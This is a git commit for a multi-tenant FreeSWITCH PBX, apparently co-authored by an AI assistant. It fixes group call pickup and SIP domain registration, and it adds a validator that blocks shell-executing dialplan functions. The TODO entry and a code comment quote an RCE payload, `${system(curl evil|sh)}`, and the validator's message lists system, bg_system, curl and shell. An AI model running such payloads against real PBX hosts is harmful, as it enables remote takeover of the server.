fix(telefonia): pickup de grupo funcionando de verdade + RCE no dialplan + domínio real no REGISTER

Pedido explícito do usuário: "testa criando um ramal com callgroup e captura
chamada de outro ramal". O teste com softphones reais (não só leitura de
código) achou 3 problemas que a fase anterior tinha dado como resolvidos:

1. A variable de call group estava com o nome errado (`call-group`, convenção
   do Asterisk) e a suposição de que o FreeSWITCH fazia pickup automático só
   com ela era falsa. Corrigido pro nome certo (`callgroup`) e pro mecanismo
   real (fork de leg `pickup/<grupo>` no bridge + extension `*8` chamando a
   application `pickup`, lendo o grupo via `${user_data(...)}`).

2. Implementando o mecanismo acima, achada uma vulnerabilidade real de RCE: o
   allowlist de `application` no dialplan nunca bloqueava `${system(...)}`
   embutido dentro do `data` de qualquer application já permitida —
   `mod_commands` está carregado, então isso era execução de comando
   arbitrário no host do FreeSWITCH pra qualquer Tenant Admin. Corrigido com
   um segundo allowlist (`ALLOWED_INLINE_API_FUNCTIONS` +
   `IsSafeDialplanData`) que só libera funções de leitura seguras
   (`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).

3. Registrar um softphone de verdade contra o domínio do tenant (não só curl
   no mod_xml_curl) revelava 403 Forbidden: o sofia profile `internal` tinha
   `force-register-domain`/`force-subscription-domain`/
   `force-register-db-domain` fixados no domínio antigo, ignorando o domínio
   de cada tenant. Corrigido no Dockerfile do FreeSWITCH (imagem
   reconstruída, não só patch ao vivo).

Testado ponta a ponta com 3 softphones reais (linphone-cli) em containers na
mesma rede Docker: ramal do mesmo grupo captura de verdade uma ligação
tocando em outro ramal via *8 (canais confirmados bridged via `show
channels`); ramal de grupo diferente tenta e falha. RCE confirmado bloqueado
via curl (`${system(id)}` → 400) sem quebrar `${user_data(...)}` legítimo.

TODO.md (PHASE 53) e docs/EXTENSIONS.md atualizados corrigindo as afirmações
incompletas da fase anterior ("nenhuma mudança de infra necessária").

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
This commit is contained in:
2026-08-30 15:24:58 -03:00
parent 56f73bdb8f
commit af46739af2
7 changed files with 276 additions and 29 deletions

112
TODO.md
View File

@@ -1836,12 +1836,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
só pelo domínio (`Tenant.findFirst({ telephonyDomain: domain })`),
então com todo tenant no mesmo domínio o isolamento de PABX (ramais,
call groups, filas, IVR) não tinha como funcionar de verdade.
Investigado direto no container: o sofia profile `internal`
(vanilla, nunca sobrescrito) já vem com
`<domain name="all" alias="true" parse="false"/>` — o FreeSWITCH
SEMPRE aceitou domínio dinâmico por REGISTER, o bug era só a
aplicação gravando o mesmo valor pra todo mundo. Nenhuma mudança de
infra (Dockerfile/sofia profile) foi necessária
**Correção**: esta entrada originalmente dizia "nenhuma mudança de
infra foi necessária", baseado só em testar o `mod_xml_curl` via
curl direto (que funcionava). Isso era **incompleto** — só um teste
de REGISTER de verdade (PHASE 53, pedido explícito do usuário) achou
que o sofia profile `internal` TAMBÉM tinha `force-register-domain`
fixo em `$${domain}`, ignorando o domínio do REGISTER e sempre
resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer
domínio real de tenant). Ver PHASE 53 pelo fix completo
- [x] `Tenant.telephonyDomain` agora é obrigatório e `@unique` (migration
`20260830140000_tenant_domain_and_call_group`, com backfill:
tenants existentes ganharam `{code}.b2bcall.net` automaticamente,
@@ -1852,10 +1854,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
- [x] `Extension.callGroup` (novo, nullable) — grupo de captura (secao
178): ramais no mesmo grupo podem atender a chamada um do outro
(`*8`/group pickup), ramais fora do grupo não. Vira a variable
`call-group` no directory XML (`packages/telephony`); a extensão de
dialplan do `*8` em si é uma regra a configurar em Telefonia >
Dialplan (já existe o editor), não precisava de código novo — só do
dado. Editável na criação e depois (`PATCH /extensions/:id`, novo)
`callgroup` no directory XML (**correção**: a versão inicial desta
entrada dizia `call-group`, com hífen — nome errado, copiado de
convenção do Asterisk; FreeSWITCH usa `callgroup` sem hífen, lido
via `${user_data(<ext>@<domain> var callgroup)}`. A confusão de
mecanismo — achando que a variable sozinha já fazia o pickup
automático — também estava errada; ver PHASE 53 pelo mecanismo real
e o dialplan necessário). Editável na criação e depois
(`PATCH /extensions/:id`, novo)
- [x] `POST /extensions/:id/reveal-password` (novo) — achado real: "show
once" puro não funciona no dia a dia de um PABX (reconfigurar um
telefone físico ou softphone precisa da senha de novo; forçar reset
@@ -1877,6 +1883,92 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
ramal em domínios diferentes NUNCA se confunde (isolamento
cross-tenant confirmado de verdade, não só por leitura de código)
## PHASE 53 — Teste real de captura de chamada (pedido explícito do
usuário: "testa criando um ramal com callgroup e captura chamada de outro
ramal") — achou 2 problemas reais que a PHASE 52 tinha dado como
resolvidos sem nunca registrar um SIP de verdade
- [x] **achado real #1 (crítico, segurança)**, achado pesquisando o
mecanismo certo de pickup antes de implementar o dialplan: o
allowlist de `application` (`ALLOWED_DIALPLAN_APPLICATIONS`) nunca
bloqueava `${nome(args)}` (chamada de API do FreeSWITCH) embutida
dentro do `data` de uma application já permitida como `set`/
`export`/`playback`. FreeSWITCH expande isso em tempo de chamada, e
`mod_commands` (carregado nesta implantação) registra as APIs
`system`/`bg_system` — **RCE completo no host do FreeSWITCH**,
alcançável por qualquer Tenant Admin com `freeswitch.configure`
(ex.: `{"application":"set","data":"x=${system(curl evil|sh)}"}`).
Corrigido: `ALLOWED_INLINE_API_FUNCTIONS` (novo,
`packages/telephony/src/dialplan-xml.ts`) +
`findDisallowedInlineFunctionCalls()` + `IsSafeDialplanData` (novo,
`apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts`,
aplicado em `ActionDto.data`) bloqueiam qualquer `${nome(...)}` fora
de um allowlist de leitura (`user_data`, `escape`, `url_encode`,
`url_decode`, `regex`, `strftime`) — `${variavel}` sem parênteses
nunca é bloqueado. Testado via curl: `${system(id)}` → 400 claro;
`${user_data(...)}` (usado pelo pickup) → aceito normalmente
- [x] **achado real #2 (o mecanismo de pickup em si estava errado)**:
pesquisado contra a documentação oficial do FreeSWITCH antes de
escrever qualquer dialplan — a variable `callgroup` sozinha NÃO faz
pickup automático nenhum. O mecanismo de verdade: (1) o `bridge`
que atende a ligação pro ramal precisa forkar um leg extra
`pickup/<chave>` (registra a chamada num hash em memória, chave =
grupo), usando
`${user_data(${destination_number}@${domain_name} var callgroup)}`
pra descobrir o grupo do CALLADO; (2) uma extension de feature code
(`*8`) separada chama a application `pickup` (nova no allowlist)
com o grupo do PRÓPRIO CALLADOR, via
`${user_data(${caller_id_number}@${domain_name} var callgroup)}`.
Reescrita a regra "Discagem interna" do tenant Acme (a versão
anterior nem tinha `user/`/`@domain` corretos no `bridge` — nunca
teria funcionado numa chamada real) e criada a nova regra `*8`
"Capturar chamada do grupo"
- [x] **achado real #3 (infra, não só aplicação)**: registrando um
softphone de teste de verdade contra `acme.b2bcall.net`, o REGISTER
batia 403 Forbidden mesmo com tudo certo na aplicação — o profile
`internal` vanilla tem `force-register-domain`/
`force-subscription-domain`/`force-register-db-domain` fixados em
`$${domain}` ("b2bcall.local"), ignorando completamente o domínio
do REGISTER (`<domain name="all" alias="true".../>`, também
vanilla, só afeta contexto de dialplan, não esta checagem). Isso
**contradiz a PHASE 52**, que tinha concluído — só com teste via
curl direto no `mod_xml_curl`, sem nunca registrar um SIP de
verdade — que nenhuma mudança de infra seria necessária. Corrigido
no `infrastructure/freeswitch/Dockerfile` com mais um `sed` (mesmo
padrão do `$${domain}` já existente) removendo os 3 params —
procedimento padrão documentado do próprio FreeSWITCH pra
multi-domínio. Imagem reconstruída e o container recriado (não só
patch ao vivo) — testado de novo do zero pra confirmar que o fix
sobrevive a rebuild
- [x] **Teste real ponta a ponta, com SIP de verdade** (não só leitura de
XML): instalado `linphone-cli` (softphone de console) em
containers Docker descartáveis na mesma rede (`b2bcall_default`) —
as portas SIP não são publicadas no host de propósito (secao 184),
então um softphone real só alcança o FreeSWITCH de dentro da rede
Docker. 3 ramais criados no grupo "vendas" (2001/2002/2003) + 1 no
grupo "suporte" (2004), todos registrados de verdade
(`show registrations` no FreeSWITCH confirma). Cenário: 2002 liga
pra 2001 (toca, registra o `pickup/vendas`) → 2003 (mesmo grupo)
disca `*8` → **capturado de verdade**: `show channels` confirma
2002 e 2003 bridged no mesmo `call_uuid`, `callstate ACTIVE`, codec
negociado (PCMU) nos dois lados, e o canal de 2001 desaparece (a
ligação foi roubada antes dele atender). Teste negativo: 2004
(grupo "suporte") tenta `*8` na mesma ligação → falha (nenhum canal
capturado, 2001 continua tocando) — confirma que grupos são
isolados de verdade, não só "qualquer um captura qualquer coisa"
- [x] achado operacional, sem relação com telefonia: o disco da VM
chegou a **100% de uso (13MB livres)** no meio deste teste — os
múltiplos rebuilds de imagem Docker desta sessão acumularam ~19GB
em cache do BuildKit nunca limpo (`docker builder du` confirmou).
Risco real pro ambiente inteiro (Postgres podia falhar escrita de
WAL a qualquer momento). Corrigido com `docker image prune -a -f` +
`docker builder prune -a -f` (reversível — só cache de build,
nenhum dado de verdade) — liberou ~19GB, disco voltou a 41% de uso.
Vale rodar de novo se o disco apertar depois de mais rebuilds
- [x] Containers/ramais/tenant de teste (2001-2004, `testedomain1`)
removidos ao final; as 2 regras de dialplan reais do tenant Acme
(Discagem interna corrigida + `*8`) foram mantidas — são
configuração funcional de verdade, não lixo de teste
---
## Riscos conhecidos

View File

@@ -1,5 +1,6 @@
import { IsIn, IsOptional, IsString, MaxLength } from "class-validator";
import { ALLOWED_DIALPLAN_APPLICATIONS, type AllowedDialplanApplication } from "@b2bcall/telephony";
import { IsSafeDialplanData } from "./safe-dialplan-data.validator";
export class ActionDto {
@IsIn(ALLOWED_DIALPLAN_APPLICATIONS)
@@ -8,5 +9,6 @@ export class ActionDto {
@IsOptional()
@IsString()
@MaxLength(500)
@IsSafeDialplanData({ message: "data usa uma função não permitida (ver docs/EXTENSIONS.md — nunca system/bg_system/curl/db/lua/shell)" })
data?: string;
}

View File

@@ -0,0 +1,31 @@
import { registerDecorator, type ValidationOptions, type ValidationArguments } from "class-validator";
import { findDisallowedInlineFunctionCalls } from "@b2bcall/telephony";
/**
* Bloqueia `${nome(args)}` que não esteja no allowlist de APIs seguras
* (`ALLOWED_INLINE_API_FUNCTIONS`) — achado real de segurança (secao 180):
* o allowlist de `application` (set/export/playback/...) não impedia RCE
* via `${system(...)}`/`${bg_system(...)}` embutido no `data` de uma
* application já permitida (`mod_commands` está carregado no FreeSWITCH
* desta implantação). `${variavel}` sem parênteses nunca é bloqueado.
*/
export function IsSafeDialplanData(validationOptions?: ValidationOptions) {
return function (object: object, propertyName: string) {
registerDecorator({
name: "isSafeDialplanData",
target: object.constructor,
propertyName,
options: validationOptions,
validator: {
validate(value: unknown) {
if (typeof value !== "string") return true; // @IsString() já cobre o tipo
return findDisallowedInlineFunctionCalls(value).length === 0;
},
defaultMessage(args: ValidationArguments) {
const disallowed = findDisallowedInlineFunctionCalls(String(args.value));
return `data usa função não permitida: ${disallowed.join(", ")} (nunca system/bg_system/curl/db/lua/shell — RCE no FreeSWITCH)`;
},
},
});
};
}

View File

@@ -92,8 +92,22 @@ era só a camada de aplicação: `TenantsController.create()` gravava o mesmo
`telephonyDomain` fixo ("b2bcall.local") pra todo tenant novo. Corrigido:
`telephonyDomain` agora é obrigatório e único na criação do tenant
(constraint no banco), sugerido como `{code}.b2bcall.net` na tela mas
editável. Nenhuma mudança de infra (Dockerfile/sofia profile) foi
necessária — só era preciso um domínio de verdade por tenant.
editável.
**Correção (PHASE 53)**: o parágrafo acima concluía "nenhuma mudança de
infra foi necessária", baseado só em testar o `mod_xml_curl` via curl
direto (que de fato já funcionava por domínio). Isso era **incompleto**
— só um teste de REGISTER de verdade, com um softphone real, achou que o
profile `internal` TAMBÉM tinha `force-register-domain`/
`force-subscription-domain`/`force-register-db-domain` fixados em
`$${domain}`, ignorando completamente o domínio do REGISTER e sempre
resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer domínio
real de tenant). O `<domain name="all" alias="true".../>` citado acima só
afeta resolução de contexto de dialplan — não essa checagem de REGISTER,
que é um código completamente separado dentro do sofia profile. Corrigido
no `Dockerfile` removendo os 3 params (mesmo `sed` do `$${domain}` acima)
— procedimento padrão documentado do próprio FreeSWITCH pra
multi-domínio. Ver PHASE 53 no `TODO.md` pro teste completo.
## Verificado ponta a ponta
@@ -136,22 +150,60 @@ decifra e devolve a senha ATUAL sem trocar nada, auditado
(`EXTENSION_PASSWORD_REVEALED`) por ser uma ação sensível mesmo sem
escrita nenhuma.
## Grupo de captura (call group, PHASE 51)
## Grupo de captura (call group, PHASE 51/53)
Achado real: sem isso, qualquer ramal conseguia capturar a chamada de
qualquer outro (o PBX não tinha noção de "grupo"). `Extension.callGroup`
(nullable) vira a variable `call-group` no directory XML — o FreeSWITCH já
resolve `*8` (group pickup) comparando essa variable entre canais. A
extensão de dialplan pro `*8` em si fica pra configurar em Telefonia >
Dialplan (já é um editor de regras por tenant), não precisa de código
novo — só precisava existir o dado.
(nullable) vira a variable `callgroup` no directory XML.
**Correção (PHASE 53)**: o parágrafo original dizia que a variable era
`call-group` (com hífen, convenção do Asterisk) e que o FreeSWITCH "já
resolve `*8` sozinho comparando essa variable entre canais" — ambas as
afirmações estavam erradas, e nunca tinham sido testadas com uma chamada
de verdade. O mecanismo real, confirmado contra a documentação oficial do
FreeSWITCH e testado ponta a ponta com softphones reais (PHASE 53):
1. A variable correta é `callgroup`, sem hífen — não tem nenhum efeito
automático sozinha. É lida no dialplan via
`${user_data(<ramal>@<domínio> var callgroup)}` (API `mod_commands`,
já carregada).
2. O `bridge` que atende a ligação pro ramal chamado precisa forkar um
leg extra `pickup/<grupo>` junto do `user/...` normal — isso é o que
registra a ligação tocando num hash em memória sob a chave do grupo:
`bridge data="user/${destination_number}@${domain_name},pickup/${called_party_callgroup}"`.
3. Uma extension de feature code separada (`*8`) precisa chamar a
application `pickup` (adicionada ao `ALLOWED_DIALPLAN_APPLICATIONS`)
com o grupo do PRÓPRIO CALLADOR como `data`.
Essas duas regras de dialplan (bridge com o pickup fork + `*8`) foram
configuradas de verdade no tenant Acme via Telefonia > Dialplan — não é
mais só "o dado existe, falta configurar a regra". Testado com 3
softphones reais: ramal do mesmo grupo captura a ligação tocando (`*8`
funciona e o canal migra de verdade); ramal de outro grupo tenta `*8` na
mesma ligação e falha (nenhuma captura). Ver PHASE 53 no `TODO.md`.
### Achado de segurança relacionado: RCE via função inline no dialplan (PHASE 53)
Implementando o mecanismo acima, foi descoberto que o allowlist de
`application` (`set`/`export`/`playback`/...) nunca bloqueava
`${nome(args)}` — uma chamada de API do FreeSWITCH — embutida dentro do
`data` de uma application já permitida. Como `mod_commands` está
carregado, isso permitia `${system(...)}`/`${bg_system(...)}` e RCE
completo no host do FreeSWITCH pra qualquer Tenant Admin com permissão
`freeswitch.configure`. Corrigido com um segundo allowlist,
`ALLOWED_INLINE_API_FUNCTIONS` (`packages/telephony`), validado no DTO
via `IsSafeDialplanData` (`apps/api/src/dialplan/dto/`) — bloqueia
qualquer `${nome(...)}` fora de um punhado de funções de leitura
(`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).
`${variavel}` sem parênteses nunca é afetado.
## O que falta
- ~~Quota de ramais~~ — implementada na fase Plans/Entitlements (ver
docs/ENTITLEMENTS.md), `assertQuota` chamado antes de criar.
- Tela "Telefonia → Ramais" (frontend) — fase Frontend, bem mais adiante.
- ~~Multi-domínio real por tenant~~ — resolvido na PHASE 50 (ver acima).
- Extensão de dialplan padrão pro `*8` de group pickup — o dado
(`callGroup`) já existe, falta só alguém configurar a regra em
Telefonia > Dialplan (ou decidir seedar uma default por tenant).
- Tela "Telefonia → Ramais" (frontend) — já existe (ver PHASE 30).
- ~~Multi-domínio real por tenant~~ — resolvido na PHASE 50/53 (ver
acima).
- ~~Extensão de dialplan padrão pro `*8` de group pickup~~ — configurada
de verdade no tenant Acme na PHASE 53 (ver acima); ainda não é seedada
automaticamente pra tenant novo, decisão de produto em aberto.

View File

@@ -57,6 +57,27 @@ RUN sed -i "s/data=\"domain=\$\${local_ip_v4}\"/data=\"domain=${DEFAULT_SIP_DOMA
/etc/freeswitch/vars.xml \
&& grep -q "domain=${DEFAULT_SIP_DOMAIN}" /etc/freeswitch/vars.xml
# Multi-domínio real por tenant (PHASE 52, docs/EXTENSIONS.md) — achado
# real, confirmado só depois de registrar um SIP de verdade (o teste por
# curl direto no mod_xml_curl não pegava isto, porque roda ANTES do
# xml_curl ser consultado): o profile "internal" vanilla vem com
# `force-register-domain`/`force-subscription-domain`/
# `force-register-db-domain` fixados em `$${domain}` — REGISTER de
# QUALQUER identidade era resolvido contra o domínio fixo do profile
# ("b2bcall.local"), nunca o domínio que o tenant realmente tem
# (`acme.b2bcall.net`), dando 403 Forbidden sempre. `<domain name="all"
# alias="true".../>` (também vanilla) só afeta contexto de dialplan, não
# esta checagem de REGISTER. Removendo os 3 params (procedimento padrão
# documentado do próprio FreeSWITCH pra multi-domínio), o REGISTER passa
# a resolver o domínio do próprio pedido — confirmado registrando um
# softphone de teste de verdade contra `acme.b2bcall.net`.
RUN sed -i \
-e '/<param name="force-register-domain"/d' \
-e '/<param name="force-subscription-domain"/d' \
-e '/<param name="force-register-db-domain"/d' \
/etc/freeswitch/sip_profiles/internal.xml \
&& ! grep -q "force-register-domain\|force-subscription-domain\|force-register-db-domain" /etc/freeswitch/sip_profiles/internal.xml
COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh

View File

@@ -27,10 +27,53 @@ export const ALLOWED_DIALPLAN_APPLICATIONS = [
"transfer",
"sleep",
"record_session",
// Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do
// grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca
// um comando; mesmo padrão de risco zero dos outros já permitidos.
"pickup",
] as const;
export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number];
/**
* Achado real de segurança (secao 180): o allowlist de `application` acima
* NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro
* de qualquer atributo `data` em tempo de chamada — inclusive de uma
* application "segura" já permitida como `set`/`export`/`playback`. Com
* `mod_commands` carregado (está, ver infrastructure/freeswitch), a API
* `system`/`bg_system` roda comando de shell arbitrário no host do
* FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data":
* "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer
* Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM
* parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só
* interpolação de valor, não chamada de API.
*/
export const ALLOWED_INLINE_API_FUNCTIONS = [
"user_data", // lookup de variável do directory de outro usuário (pickup group)
"escape",
"url_encode",
"url_decode",
"regex",
"strftime",
] as const;
const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g;
/** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO
* estão no allowlist acima — vazio = texto seguro. Usado em `data` de
* action/anti-action (nunca em `conditionExpr`, que é regex estático,
* nunca expandido pelo FreeSWITCH). */
export function findDisallowedInlineFunctionCalls(text: string): string[] {
const found = new Set<string>();
for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
const name = match[1];
if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
found.add(name);
}
}
return Array.from(found);
}
export const ALLOWED_CONDITION_FIELDS = [
"destination_number",
"caller_id_number",

View File

@@ -18,11 +18,17 @@ export interface DirectoryUserParams {
callerIdNumber?: string;
tenantId: string;
extensionId: string;
/** Grupo de captura (secao 178) — vira a variable `call-group` no
* directory; o *8 de group pickup no dialplan usa essa mesma variable
* pra achar um canal tocando no mesmo grupo (`pickup` da FreeSWITCH
* exige `call-group` batendo, senão qualquer ramal capturaria a
* chamada de qualquer outro — achado real reportado pelo usuário). */
/** Grupo de captura (secao 178) — vira a variable `callgroup` (sem
* hífen: é o nome que o `mod_dptools`/convenção FreeSWITCH usa,
* confirmado contra a documentação oficial — `${user_data(<ext>@
* <domain> var callgroup)}` no dialplan lê exatamente esse nome). O
* pickup em si não é automático por variável: o dialplan que atende a
* ligação pro ramal precisa forkar um leg `pickup/${...essa var...}`
* no `bridge`, e uma extension separada de feature code (`*8`) chama a
* application `pickup` com o grupo de quem discou. Ver
* docs/EXTENSIONS.md — achado real reportado pelo usuário, verificado
* contra a documentação do FreeSWITCH antes de close (a primeira versão
* usava `call-group`, que não é lido por nada). */
callGroup?: string | null;
}
@@ -60,7 +66,7 @@ export function buildDirectoryUserXml(params: DirectoryUserParams): string {
<variable name="effective_caller_id_number" value="${callerIdNumber}"/>
<variable name="b2bcall_tenant_id" value="${xmlEscape(params.tenantId)}"/>
<variable name="b2bcall_extension_id" value="${xmlEscape(params.extensionId)}"/>
${params.callGroup ? `<variable name="call-group" value="${xmlEscape(params.callGroup)}"/>` : ""}
${params.callGroup ? `<variable name="callgroup" value="${xmlEscape(params.callGroup)}"/>` : ""}
</variables>
</user>
</users>